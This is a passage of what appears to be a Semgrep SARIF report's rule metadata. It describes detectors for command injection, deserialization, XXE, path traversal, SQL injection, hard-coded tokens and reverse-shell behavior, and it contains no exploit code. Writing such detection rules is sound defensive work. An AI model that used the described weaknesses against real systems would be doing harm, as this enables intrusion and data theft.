[https://owasp.org/Top10/A03_2021-Injection](https://owasp.org/Top10/A03_2021-Injection)\n - [https://semgrep.dev/docs/cheat-sheets/python-command-injection/](https://semgrep.dev/docs/cheat-sheets/python-command-injection/)\n","text":"Untrusted input might be injected into a command executed by the application, which can lead to a command injection vulnerability. An attacker can execute arbitrary commands, potentially gaining complete control of the system. To prevent this vulnerability, avoid executing OS commands with user input. If this is unavoidable, validate and sanitize the input, and use safe methods for executing the commands."},"helpUri":"https://semgrep.dev/r/python.fastapi.os.tainted-os-command-paramiko-fastapi.tainted-os-command-paramiko-fastapi","id":"python.fastapi.os.tainted-os-command-paramiko-fastapi.tainted-os-command-paramiko-fastapi","name":"python.fastapi.os.tainted-os-command-paramiko-fastapi.tainted-os-command-paramiko-fastapi","properties":{"precision":"very-high","tags":["CWE-78: Improper Neutralization of Special Elements used in an OS Command ('OS Command Injection')","HIGH CONFIDENCE","OWASP-A01:2017 - Injection","OWASP-A03:2021 - Injection","security"]},"shortDescription":{"text":"Semgrep Finding: python.fastapi.os.tainted-os-command-paramiko-fastapi.tainted-os-command-paramiko-fastapi"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"Externally controlled data is used to index a fixed-size array, `$BUFFER`. This could lead to an out-of-bounds read or write, triggering memory corruption."},"help":{"markdown":"Externally controlled data is used to index a fixed-size array, `$BUFFER`. This could lead to an out-of-bounds read or write, triggering memory corruption.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/cpp.lang.security.memory.unvalidated-array-index.unvalidated-array-index)\n - [https://wiki.sei.cmu.edu/confluence/display/c/ARR30-C.+Do+not+form+or+use+out-of-bounds+pointers+or+array+subscripts](https://wiki.sei.cmu.edu/confluence/display/c/ARR30-C.+Do+not+form+or+use+out-of-bounds+pointers+or+array+subscripts)\n","text":"Externally controlled data is used to index a fixed-size array, `$BUFFER`. This could lead to an out-of-bounds read or write, triggering memory corruption."},"helpUri":"https://semgrep.dev/r/cpp.lang.security.memory.unvalidated-array-index.unvalidated-array-index","id":"cpp.lang.security.memory.unvalidated-array-index.unvalidated-array-index","name":"cpp.lang.security.memory.unvalidated-array-index.unvalidated-array-index","properties":{"precision":"very-high","tags":["CWE-120: Buffer Copy without Checking Size of Input ('Classic Buffer Overflow')","MEDIUM CONFIDENCE","security"]},"shortDescription":{"text":"Semgrep Finding: cpp.lang.security.memory.unvalidated-array-index.unvalidated-array-index"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"The application may convert user-controlled data into an object, which can lead to an insecure deserialization vulnerability. An attacker can create a malicious serialized object, pass it to the application, and take advantage of the deserialization process to perform Denial-of-service (DoS), Remote code execution (RCE), or bypass access control measures. To prevent this vulnerability, leverage data formats such as JSON or XML as safer alternatives. If you need to deserialize user input in a specific format, consider digitally signing the data before serialization to prevent tampering. For more information, see: [Deserialization prevention](https://cheatsheetseries.owasp.org/cheatsheets/Deserialization_Cheat_Sheet.html) We do not recommend deserializing untrusted data with the `Kryo` unless you explicitly define permissions for types that are allowed to be deserialized by `Kryo`."},"help":{"markdown":"The application may convert user-controlled data into an object, which can lead to an insecure deserialization vulnerability. An attacker can create a malicious serialized object, pass it to the application, and take advantage of the deserialization process to perform Denial-of-service (DoS), Remote code execution (RCE), or bypass access control measures. To prevent this vulnerability, leverage data formats such as JSON or XML as safer alternatives. If you need to deserialize user input in a specific format, consider digitally signing the data before serialization to prevent tampering. For more information, see: [Deserialization prevention](https://cheatsheetseries.owasp.org/cheatsheets/Deserialization_Cheat_Sheet.html) We do not recommend deserializing untrusted data with the `Kryo` unless you explicitly define permissions for types that are allowed to be deserialized by `Kryo`.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/java.servlets.security.kryo-deserialization-deepsemgrep.kryo-deserialization-deepsemgrep)\n - [https://github.com/EsotericSoftware/kryo](https://github.com/EsotericSoftware/kryo)\n - [https://owasp.org/Top10/A08_2021-Software_and_Data_Integrity_Failures](https://owasp.org/Top10/A08_2021-Software_and_Data_Integrity_Failures)\n","text":"The application may convert user-controlled data into an object, which can lead to an insecure deserialization vulnerability. An attacker can create a malicious serialized object, pass it to the application, and take advantage of the deserialization process to perform Denial-of-service (DoS), Remote code execution (RCE), or bypass access control measures. To prevent this vulnerability, leverage data formats such as JSON or XML as safer alternatives. If you need to deserialize user input in a specific format, consider digitally signing the data before serialization to prevent tampering. For more information, see: [Deserialization prevention](https://cheatsheetseries.owasp.org/cheatsheets/Deserialization_Cheat_Sheet.html) We do not recommend deserializing untrusted data with the `Kryo` unless you explicitly define permissions for types that are allowed to be deserialized by `Kryo`."},"helpUri":"https://semgrep.dev/r/java.servlets.security.kryo-deserialization-deepsemgrep.kryo-deserialization-deepsemgrep","id":"java.servlets.security.kryo-deserialization-deepsemgrep.kryo-deserialization-deepsemgrep","name":"java.servlets.security.kryo-deserialization-deepsemgrep.kryo-deserialization-deepsemgrep","properties":{"precision":"very-high","tags":["CWE-502: Deserialization of Untrusted Data","MEDIUM CONFIDENCE","OWASP-A08:2017 - Insecure Deserialization","OWASP-A08:2021 - Software and Data Integrity Failures","security"]},"shortDescription":{"text":"Semgrep Finding: java.servlets.security.kryo-deserialization-deepsemgrep.kryo-deserialization-deepsemgrep"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"Detected `$REQ` argument which enters `$RES.$HEADER`, this can lead to session fixation vulnerabilities if an attacker can control the cookie value. This vulnerability can lead to unauthorized access to accounts, and in some esoteric cases, Cross-Site-Scripting (XSS). Users should not be able to influence cookies directly, for session cookies, they should be generated securely using an approved session management library. If the cookie does need to be set by a user, consider using an allow-list based approach to restrict the cookies which can be set."},"help":{"markdown":"Detected `$REQ` argument which enters `$RES.$HEADER`, this can lead to session fixation vulnerabilities if an attacker can control the cookie value. This vulnerability can lead to unauthorized access to accounts, and in some esoteric cases, Cross-Site-Scripting (XSS). Users should not be able to influence cookies directly, for session cookies, they should be generated securely using an approved session management library. If the cookie does need to be set by a user, consider using an allow-list based approach to restrict the cookies which can be set.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/javascript.express.session-fixation.session-fixation)\n - [https://owasp.org/Top10/A07_2021-Identification_and_Authentication_Failures](https://owasp.org/Top10/A07_2021-Identification_and_Authentication_Failures)\n - [https://owasp.org/www-community/attacks/Session_fixation](https://owasp.org/www-community/attacks/Session_fixation)\n","text":"Detected `$REQ` argument which enters `$RES.$HEADER`, this can lead to session fixation vulnerabilities if an attacker can control the cookie value. This vulnerability can lead to unauthorized access to accounts, and in some esoteric cases, Cross-Site-Scripting (XSS). Users should not be able to influence cookies directly, for session cookies, they should be generated securely using an approved session management library. If the cookie does need to be set by a user, consider using an allow-list based approach to restrict the cookies which can be set."},"helpUri":"https://semgrep.dev/r/javascript.express.session-fixation.session-fixation","id":"javascript.express.session-fixation.session-fixation","name":"javascript.express.session-fixation.session-fixation","properties":{"precision":"very-high","tags":["CWE-384: Session Fixation","MEDIUM CONFIDENCE","OWASP-A02:2017 - Broken Authentication","OWASP-A07:2021 - Identification and Authentication Failures","security"]},"shortDescription":{"text":"Semgrep Finding: javascript.express.session-fixation.session-fixation"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"If unverified user data can reach the `evaluate` method it can result in Server-Side Request Forgery vulnerabilities"},"help":{"markdown":"If unverified user data can reach the `evaluate` method it can result in Server-Side Request Forgery vulnerabilities\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/javascript.playwright.security.audit.playwright-evaluate-code-injection.playwright-evaluate-code-injection)\n - [https://owasp.org/Top10/A10_2021-Server-Side_Request_Forgery_%28SSRF%29](https://owasp.org/Top10/A10_2021-Server-Side_Request_Forgery_%28SSRF%29)\n","text":"If unverified user data can reach the `evaluate` method it can result in Server-Side Request Forgery vulnerabilities"},"helpUri":"https://semgrep.dev/r/javascript.playwright.security.audit.playwright-evaluate-code-injection.playwright-evaluate-code-injection","id":"javascript.playwright.security.audit.playwright-evaluate-code-injection.playwright-evaluate-code-injection","name":"javascript.playwright.security.audit.playwright-evaluate-code-injection.playwright-evaluate-code-injection","properties":{"precision":"very-high","tags":["CWE-918: Server-Side Request Forgery (SSRF)","LOW CONFIDENCE","OWASP-A10:2021 - Server-Side Request Forgery (SSRF)","security"]},"shortDescription":{"text":"Semgrep Finding: javascript.playwright.security.audit.playwright-evaluate-code-injection.playwright-evaluate-code-injection"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"A secret is hard-coded in the application. Secrets stored in source code, such as credentials, identifiers, and other types of sensitive data, can be leaked and used by internal or external malicious actors. Use environment variables to securely provide credentials and other secrets or retrieve them from a secure vault or Hardware Security Module (HSM)."},"help":{"markdown":"A secret is hard-coded in the application. Secrets stored in source code, such as credentials, identifiers, and other types of sensitive data, can be leaked and used by internal or external malicious actors. Use environment variables to securely provide credentials and other secrets or retrieve them from a secure vault or Hardware Security Module (HSM).\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/python.lang.hardcoded.headers.hardcoded-github-token.hardcoded-github-token)\n - [https://cheatsheetseries.owasp.org/cheatsheets/Secrets_Management_Cheat_Sheet.html](https://cheatsheetseries.owasp.org/cheatsheets/Secrets_Management_Cheat_Sheet.html)\n","text":"A secret is hard-coded in the application. Secrets stored in source code, such as credentials, identifiers, and other types of sensitive data, can be leaked and used by internal or external malicious actors. Use environment variables to securely provide credentials and other secrets or retrieve them from a secure vault or Hardware Security Module (HSM)."},"helpUri":"https://semgrep.dev/r/python.lang.hardcoded.headers.hardcoded-github-token.hardcoded-github-token","id":"python.lang.hardcoded.headers.hardcoded-github-token.hardcoded-github-token","name":"python.lang.hardcoded.headers.hardcoded-github-token.hardcoded-github-token","properties":{"precision":"very-high","tags":["CWE-798: Use of Hard-coded Credentials","HIGH CONFIDENCE","OWASP-A07:2021 - Identification and Authentication Failures","security"]},"shortDescription":{"text":"Semgrep Finding: python.lang.hardcoded.headers.hardcoded-github-token.hardcoded-github-token"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"The application builds a file path from potentially untrusted data, which can lead to a path traversal vulnerability. An attacker can manipulate the path which the application uses to access files. If the application does not validate user input and sanitize file paths, sensitive files such as configuration or user data can be accessed, potentially creating or overwriting files. To prevent this vulnerability, validate and sanitize any input that is used to create references to file paths. Also, enforce strict file access controls. For example, choose privileges allowing public-facing applications to access only the required files."},"help":{"markdown":"The application builds a file path from potentially untrusted data, which can lead to a path traversal vulnerability. An attacker can manipulate the path which the application uses to access files. If the application does not validate user input and sanitize file paths, sensitive files such as configuration or user data can be accessed, potentially creating or overwriting files. To prevent this vulnerability, validate and sanitize any input that is used to create references to file paths. Also, enforce strict file access controls. For example, choose privileges allowing public-facing applications to access only the required files.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/rust.actix.path-traversal.tainted-path.tainted-path)\n - [https://owasp.org/Top10/A01_2021-Broken_Access_Control](https://owasp.org/Top10/A01_2021-Broken_Access_Control)\n - [https://owasp.org/www-community/attacks/Path_Traversal](https://owasp.org/www-community/attacks/Path_Traversal)\n - [https://portswigger.net/web-security/file-path-traversal](https://portswigger.net/web-security/file-path-traversal)\n","text":"The application builds a file path from potentially untrusted data, which can lead to a path traversal vulnerability. An attacker can manipulate the path which the application uses to access files. If the application does not validate user input and sanitize file paths, sensitive files such as configuration or user data can be accessed, potentially creating or overwriting files. To prevent this vulnerability, validate and sanitize any input that is used to create references to file paths. Also, enforce strict file access controls. For example, choose privileges allowing public-facing applications to access only the required files."},"helpUri":"https://semgrep.dev/r/rust.actix.path-traversal.tainted-path.tainted-path","id":"rust.actix.path-traversal.tainted-path.tainted-path","name":"rust.actix.path-traversal.tainted-path.tainted-path","properties":{"precision":"very-high","tags":["CWE-22: Improper Limitation of a Pathname to a Restricted Directory ('Path Traversal')","HIGH CONFIDENCE","OWASP-A01:2021 - Broken Access Control","OWASP-A05:2017 - Broken Access Control","security"]},"shortDescription":{"text":"Semgrep Finding: rust.actix.path-traversal.tainted-path.tainted-path"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"The application is using an XML parser that has not been safely configured. This might lead to XML External Entity (XXE) vulnerabilities when parsing user-controlled input. An attacker can include document type definitions (DTDs) which can interact with internal or external hosts. XXE can lead to other vulnerabilities, such as Local File Inclusion (LFI), Remote Code Execution (RCE), and Server-side request forgery (SSRF), depending on the application configuration. An attacker can also use DTDs to expand recursively, leading to a Denial-of-Service (DoS) attack, also known as a Billion Laughs Attack. The current configuration allows for XXE attacks through parameter entities. It is our recommendation to secure this parser against all types of XXE attacks by configuring $FACTORY with `$FACTORY.setFeature(http://apache.org/xml/features/disallow-doctype-decl, true)`. Alternatively, the following configurations also provide protection against XXE attacks with parameter entities. `$FACTORY.setFeature(XMLConstants.FEATURE_SECURE_PROCESSING, true)` `$FACTORY.setFeature(\"http://xml.org/sax/features/external-parameter-entities\", false)` `$PARSER.setProperty(XMLConstants.ACCESS_EXTERNAL_DTD, \"\")`. For more information, see: [Java XXE prevention](https://semgrep.dev/docs/cheat-sheets/java-xxe/)"},"help":{"markdown":"The application is using an XML parser that has not been safely configured. This might lead to XML External Entity (XXE) vulnerabilities when parsing user-controlled input. An attacker can include document type definitions (DTDs) which can interact with internal or external hosts. XXE can lead to other vulnerabilities, such as Local File Inclusion (LFI), Remote Code Execution (RCE), and Server-side request forgery (SSRF), depending on the application configuration. An attacker can also use DTDs to expand recursively, leading to a Denial-of-Service (DoS) attack, also known as a Billion Laughs Attack. The current configuration allows for XXE attacks through parameter entities. It is our recommendation to secure this parser against all types of XXE attacks by configuring $FACTORY with `$FACTORY.setFeature(http://apache.org/xml/features/disallow-doctype-decl, true)`. Alternatively, the following configurations also provide protection against XXE attacks with parameter entities. `$FACTORY.setFeature(XMLConstants.FEATURE_SECURE_PROCESSING, true)` `$FACTORY.setFeature(\"http://xml.org/sax/features/external-parameter-entities\", false)` `$PARSER.setProperty(XMLConstants.ACCESS_EXTERNAL_DTD, \"\")`. For more information, see: [Java XXE prevention](https://semgrep.dev/docs/cheat-sheets/java-xxe/)\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/java.lang.security.xxe.saxparserfactory-xxe-parameter-entity.saxparserfactory-xxe-parameter-entity)\n - [https://semgrep.dev/blog/2022/xml-security-in-java](https://semgrep.dev/blog/2022/xml-security-in-java)\n - [https://semgrep.dev/docs/cheat-sheets/java-xxe/](https://semgrep.dev/docs/cheat-sheets/java-xxe/)\n - [https://docs.oracle.com/en/java/javase/13/security/java-api-xml-processing-jaxp-security-guide.html#GUID-D97A1F1D-8DDF-4D19-A7E5-99099F27346E](https://docs.oracle.com/en/java/javase/13/security/java-api-xml-processing-jaxp-security-guide.html#GUID-D97A1F1D-8DDF-4D19-A7E5-99099F27346E)\n - [https://github.com/semgrep/java-xxe-research](https://github.com/semgrep/java-xxe-research)\n - [https://cheatsheetseries.owasp.org/cheatsheets/XML_External_Entity_Prevention_Cheat_Sheet.html](https://cheatsheetseries.owasp.org/cheatsheets/XML_External_Entity_Prevention_Cheat_Sheet.html)\n - [https://rules.sonarsource.com/java/type/Vulnerability/RSPEC-2755](https://rules.sonarsource.com/java/type/Vulnerability/RSPEC-2755)\n - [https://blog.sonarsource.com/secure-xml-processor/](https://blog.sonarsource.com/secure-xml-processor/)\n - [https://blog.sonarsource.com/understanding-xxe-vulnerabilities/](https://blog.sonarsource.com/understanding-xxe-vulnerabilities/)\n - [https://cwe.mitre.org/data/definitions/776.html](https://cwe.mitre.org/data/definitions/776.html)\n - [https://cwe.mitre.org/data/definitions/776.html](https://cwe.mitre.org/data/definitions/776.html)\n","text":"The application is using an XML parser that has not been safely configured. This might lead to XML External Entity (XXE) vulnerabilities when parsing user-controlled input. An attacker can include document type definitions (DTDs) which can interact with internal or external hosts. XXE can lead to other vulnerabilities, such as Local File Inclusion (LFI), Remote Code Execution (RCE), and Server-side request forgery (SSRF), depending on the application configuration. An attacker can also use DTDs to expand recursively, leading to a Denial-of-Service (DoS) attack, also known as a Billion Laughs Attack. The current configuration allows for XXE attacks through parameter entities. It is our recommendation to secure this parser against all types of XXE attacks by configuring $FACTORY with `$FACTORY.setFeature(http://apache.org/xml/features/disallow-doctype-decl, true)`. Alternatively, the following configurations also provide protection against XXE attacks with parameter entities. `$FACTORY.setFeature(XMLConstants.FEATURE_SECURE_PROCESSING, true)` `$FACTORY.setFeature(\"http://xml.org/sax/features/external-parameter-entities\", false)` `$PARSER.setProperty(XMLConstants.ACCESS_EXTERNAL_DTD, \"\")`. For more information, see: [Java XXE prevention](https://semgrep.dev/docs/cheat-sheets/java-xxe/)"},"helpUri":"https://semgrep.dev/r/java.lang.security.xxe.saxparserfactory-xxe-parameter-entity.saxparserfactory-xxe-parameter-entity","id":"java.lang.security.xxe.saxparserfactory-xxe-parameter-entity.saxparserfactory-xxe-parameter-entity","name":"java.lang.security.xxe.saxparserfactory-xxe-parameter-entity.saxparserfactory-xxe-parameter-entity","properties":{"precision":"very-high","tags":["CWE-611: Improper Restriction of XML External Entity Reference","CWE-776: Improper Restriction of Recursive Entity References in DTDs ('XML Entity Expansion')","MEDIUM CONFIDENCE","OWASP-A04:2017 - XML External Entities (XXE)","OWASP-A05:2021 - Security Misconfiguration","security"]},"shortDescription":{"text":"Semgrep Finding: java.lang.security.xxe.saxparserfactory-xxe-parameter-entity.saxparserfactory-xxe-parameter-entity"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"XPath queries are constructed dynamically on user-controlled input. This could lead to XPath injection if variables passed into the evaluate or compile commands are not properly sanitized. Xpath injection could lead to unauthorized access to sensitive information in XML documents. Thoroughly sanitize user input or use parameterized XPath queries if you can."},"help":{"markdown":"XPath queries are constructed dynamically on user-controlled input. This could lead to XPath injection if variables passed into the evaluate or compile commands are not properly sanitized. Xpath injection could lead to unauthorized access to sensitive information in XML documents. Thoroughly sanitize user input or use parameterized XPath queries if you can.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/csharp.dotnet-core.xpath-injection.xpath-taint.xpath-taint)\n - [https://owasp.org/Top10/A03_2021-Injection](https://owasp.org/Top10/A03_2021-Injection)\n","text":"XPath queries are constructed dynamically on user-controlled input. This could lead to XPath injection if variables passed into the evaluate or compile commands are not properly sanitized. Xpath injection could lead to unauthorized access to sensitive information in XML documents. Thoroughly sanitize user input or use parameterized XPath queries if you can."},"helpUri":"https://semgrep.dev/r/csharp.dotnet-core.xpath-injection.xpath-taint.xpath-taint","id":"csharp.dotnet-core.xpath-injection.xpath-taint.xpath-taint","name":"csharp.dotnet-core.xpath-injection.xpath-taint.xpath-taint","properties":{"precision":"very-high","tags":["CWE-643: Improper Neutralization of Data within XPath Expressions ('XPath Injection')","HIGH CONFIDENCE","OWASP-A03:2021 - Injection","security"]},"shortDescription":{"text":"Semgrep Finding: csharp.dotnet-core.xpath-injection.xpath-taint.xpath-taint"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"Detected an insufficient key size for RSA. NIST recommends a key size of 3072 or higher."},"help":{"markdown":"Detected an insufficient key size for RSA. NIST recommends a key size of 3072 or higher.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/python.pycryptodome.security.insufficient-rsa-key-size.insufficient-rsa-key-size)\n - [https://www.pycryptodome.org/src/public_key/rsa#rsa](https://www.pycryptodome.org/src/public_key/rsa#rsa)\n - [https://nvlpubs.nist.gov/nistpubs/SpecialPublications/NIST.SP.800-57pt1r5.pdf](https://nvlpubs.nist.gov/nistpubs/SpecialPublications/NIST.SP.800-57pt1r5.pdf)\n","text":"Detected an insufficient key size for RSA. NIST recommends a key size of 3072 or higher."},"helpUri":"https://semgrep.dev/r/python.pycryptodome.security.insufficient-rsa-key-size.insufficient-rsa-key-size","id":"python.pycryptodome.security.insufficient-rsa-key-size.insufficient-rsa-key-size","name":"python.pycryptodome.security.insufficient-rsa-key-size.insufficient-rsa-key-size","properties":{"precision":"very-high","tags":["CWE-326: Inadequate Encryption Strength","HIGH CONFIDENCE","OWASP-A02:2021 - Cryptographic Failures","OWASP-A03:2017 - Sensitive Data Exposure","security"]},"shortDescription":{"text":"Semgrep Finding: python.pycryptodome.security.insufficient-rsa-key-size.insufficient-rsa-key-size"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"Detected MD5 hash algorithm which is considered insecure. MD5 is not collision resistant and is therefore not suitable as a cryptographic signature. Use SHA256 or SHA3 instead."},"help":{"markdown":"Detected MD5 hash algorithm which is considered insecure. MD5 is not collision resistant and is therefore not suitable as a cryptographic signature. Use SHA256 or SHA3 instead.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/go.lang.security.audit.crypto.use_of_weak_crypto.use-of-md5)\n - [https://owasp.org/Top10/A02_2021-Cryptographic_Failures](https://owasp.org/Top10/A02_2021-Cryptographic_Failures)\n","text":"Detected MD5 hash algorithm which is considered insecure. MD5 is not collision resistant and is therefore not suitable as a cryptographic signature. Use SHA256 or SHA3 instead."},"helpUri":"https://semgrep.dev/r/go.lang.security.audit.crypto.use_of_weak_crypto.use-of-md5","id":"go.lang.security.audit.crypto.use_of_weak_crypto.use-of-md5","name":"go.lang.security.audit.crypto.use_of_weak_crypto.use-of-md5","properties":{"precision":"very-high","tags":["CWE-328: Use of Weak Hash","MEDIUM CONFIDENCE","OWASP-A02:2021 - Cryptographic Failures","OWASP-A03:2017 - Sensitive Data Exposure","security"]},"shortDescription":{"text":"Semgrep Finding: go.lang.security.audit.crypto.use_of_weak_crypto.use-of-md5"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"The 'phpinfo' function may reveal sensitive information about your environment."},"help":{"markdown":"The 'phpinfo' function may reveal sensitive information about your environment.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/php.lang.security.phpinfo-use.phpinfo-use)\n - [https://www.php.net/manual/en/function.phpinfo](https://www.php.net/manual/en/function.phpinfo)\n - [https://github.com/FloeDesignTechnologies/phpcs-security-audit/blob/master/Security/Sniffs/BadFunctions/PhpinfosSniff.php](https://github.com/FloeDesignTechnologies/phpcs-security-audit/blob/master/Security/Sniffs/BadFunctions/PhpinfosSniff.php)\n","text":"The 'phpinfo' function may reveal sensitive information about your environment."},"helpUri":"https://semgrep.dev/r/php.lang.security.phpinfo-use.phpinfo-use","id":"php.lang.security.phpinfo-use.phpinfo-use","name":"php.lang.security.phpinfo-use.phpinfo-use","properties":{"precision":"very-high","tags":["CWE-200: Exposure of Sensitive Information to an Unauthorized Actor","MEDIUM CONFIDENCE","OWASP-A01:2021 - Broken Access Control","security"]},"shortDescription":{"text":"Semgrep Finding: php.lang.security.phpinfo-use.phpinfo-use"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"The application builds a file path from potentially untrusted data, which can lead to a path traversal vulnerability. An attacker can manipulate the path which the application uses to access files. If the application does not validate user input and sanitize file paths, sensitive files such as configuration or user data can be accessed, potentially creating or overwriting files. In Flask apps, consider using the Werkzeug util `werkzeug.utils.secure_filename()` to sanitize paths and filenames."},"help":{"markdown":"The application builds a file path from potentially untrusted data, which can lead to a path traversal vulnerability. An attacker can manipulate the path which the application uses to access files. If the application does not validate user input and sanitize file paths, sensitive files such as configuration or user data can be accessed, potentially creating or overwriting files. In Flask apps, consider using the Werkzeug util `werkzeug.utils.secure_filename()` to sanitize paths and filenames.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/python.flask.file.tainted-path-traversal-openpyxl-flask.tainted-path-traversal-openpyxl-flask)\n - [https://docs.pyfilesystem.org/en/latest/guide.html#opening-filesystems](https://docs.pyfilesystem.org/en/latest/guide.html#opening-filesystems)\n - [https://flask.palletsprojects.com/en/2.3.x/patterns/fileuploads/](https://flask.palletsprojects.com/en/2.3.x/patterns/fileuploads/)\n - [https://owasp.org/Top10/A01_2021-Broken_Access_Control](https://owasp.org/Top10/A01_2021-Broken_Access_Control)\n - [https://owasp.org/www-community/attacks/Path_Traversal](https://owasp.org/www-community/attacks/Path_Traversal)\n - [https://portswigger.net/web-security/file-path-traversal](https://portswigger.net/web-security/file-path-traversal)\n - [https://werkzeug.palletsprojects.com/en/3.0.x/utils/#werkzeug.utils.secure_filename](https://werkzeug.palletsprojects.com/en/3.0.x/utils/#werkzeug.utils.secure_filename)\n","text":"The application builds a file path from potentially untrusted data, which can lead to a path traversal vulnerability. An attacker can manipulate the path which the application uses to access files. If the application does not validate user input and sanitize file paths, sensitive files such as configuration or user data can be accessed, potentially creating or overwriting files. In Flask apps, consider using the Werkzeug util `werkzeug.utils.secure_filename()` to sanitize paths and filenames."},"helpUri":"https://semgrep.dev/r/python.flask.file.tainted-path-traversal-openpyxl-flask.tainted-path-traversal-openpyxl-flask","id":"python.flask.file.tainted-path-traversal-openpyxl-flask.tainted-path-traversal-openpyxl-flask","name":"python.flask.file.tainted-path-traversal-openpyxl-flask.tainted-path-traversal-openpyxl-flask","properties":{"precision":"very-high","tags":["CWE-22: Improper Limitation of a Pathname to a Restricted Directory ('Path Traversal')","HIGH CONFIDENCE","OWASP-A01:2021 - Broken Access Control","OWASP-A05:2017 - Broken Access Control","security"]},"shortDescription":{"text":"Semgrep Finding: python.flask.file.tainted-path-traversal-openpyxl-flask.tainted-path-traversal-openpyxl-flask"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"User-controlled data from a request is passed to 'extra()'. This could lead to a SQL injection and therefore protected information could be leaked. Instead, use parameterized queries or escape the user-controlled data by using `params` and not using quote placeholders in the SQL string."},"help":{"markdown":"User-controlled data from a request is passed to 'extra()'. This could lead to a SQL injection and therefore protected information could be leaked. Instead, use parameterized queries or escape the user-controlled data by using `params` and not using quote placeholders in the SQL string.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/python.django.security.injection.sql.sql-injection-extra.sql-injection-using-extra-where)\n - [https://docs.djangoproject.com/en/3.0/ref/models/expressions/#.objects.extra](https://docs.djangoproject.com/en/3.0/ref/models/expressions/#.objects.extra)\n","text":"User-controlled data from a request is passed to 'extra()'. This could lead to a SQL injection and therefore protected information could be leaked. Instead, use parameterized queries or escape the user-controlled data by using `params` and not using quote placeholders in the SQL string."},"helpUri":"https://semgrep.dev/r/python.django.security.injection.sql.sql-injection-extra.sql-injection-using-extra-where","id":"python.django.security.injection.sql.sql-injection-extra.sql-injection-using-extra-where","name":"python.django.security.injection.sql.sql-injection-extra.sql-injection-using-extra-where","properties":{"precision":"very-high","tags":["CWE-89: Improper Neutralization of Special Elements used in an SQL Command ('SQL Injection')","MEDIUM CONFIDENCE","OWASP-A01:2017 - Injection","OWASP-A03:2021 - Injection","security"]},"shortDescription":{"text":"Semgrep Finding: python.django.security.injection.sql.sql-injection-extra.sql-injection-using-extra-where"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"Semgrep found potential reverse shell behavior"},"help":{"markdown":"Semgrep found potential reverse shell behavior\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/java.lang.security.audit.java-reverse-shell.java-reverse-shell)\n - [https://owasp.org/Top10/A03_2021-Injection](https://owasp.org/Top10/A03_2021-Injection)\n","text":"Semgrep found potential reverse shell behavior"},"helpUri":"https://semgrep.dev/r/java.lang.security.audit.java-reverse-shell.java-reverse-shell","id":"java.lang.security.audit.java-reverse-shell.java-reverse-shell","name":"java.lang.security.audit.java-reverse-shell.java-reverse-shell","properties":{"precision":"very-high","tags":["CWE-78: Improper Neutralization of Special Elements used in an OS Command ('OS Command Injection')","LOW CONFIDENCE","OWASP-A01:2017 - Injection","OWASP-A03:2021 - Injection","security"]},"shortDescription":{"text":"Semgrep Finding: java.lang.security.audit.java-reverse-shell.java-reverse-shell"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"The application builds a file path from potentially untrusted data, which can lead to a path traversal vulnerability. An attacker can manipulate the path which the application uses to access files. If the application does not validate user input and sanitize file paths, sensitive files such as configuration or user data can be accessed, potentially creating or overwriting files. To prevent this vulnerability, validate and sanitize any input that is used to create references to file paths. Also, enforce strict file access controls. For example, choose privileges allowing public-facing applications to access only the required files."},"help":{"markdown":"The application builds a file path from potentially untrusted data, which can lead to a path traversal vulnerability. An attacker can manipulate the path which the application uses to access files. If the application does not validate user input and sanitize file paths, sensitive files such as configuration or user data can be accessed, potentially creating or overwriting files. To prevent this vulnerability, validate and sanitize any input that is used to create references to file paths. Also, enforce strict file access controls. For example, choose privileges allowing public-facing applications to access only the required files.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/rust.hyper.path-traversal.tainted-path.tainted-path)\n - [https://owasp.org/Top10/A01_2021-Broken_Access_Control](https://owasp.org/Top10/A01_2021-Broken_Access_Control)\n - [https://owasp.org/www-community/attacks/Path_Traversal](https://owasp.org/www-community/attacks/Path_Traversal)\n - [https://portswigger.net/web-security/file-path-traversal](https://portswigger.net/web-security/file-path-traversal)\n","text":"The application builds a file path from potentially untrusted data, which can lead to a path traversal vulnerability. An attacker can manipulate the path which the application uses to access files. If the application does not validate user input and sanitize file paths, sensitive files such as configuration or user data can be accessed, potentially creating or overwriting files. To prevent this vulnerability, validate and sanitize any input that is used to create references to file paths. Also, enforce strict file access controls. For example, choose privileges allowing public-facing applications to access only the required files."},"helpUri":"https://semgrep.dev/r/rust.hyper.path-traversal.tainted-path.tainted-path","id":"rust.hyper.path-traversal.tainted-path.tainted-path","name":"rust.hyper.path-traversal.tainted-path.tainted-path","properties":{"precision":"very-high","tags":["CWE-22: Improper Limitation of a Pathname to a Restricted Directory ('Path Traversal')","HIGH CONFIDENCE","OWASP-A01:2021 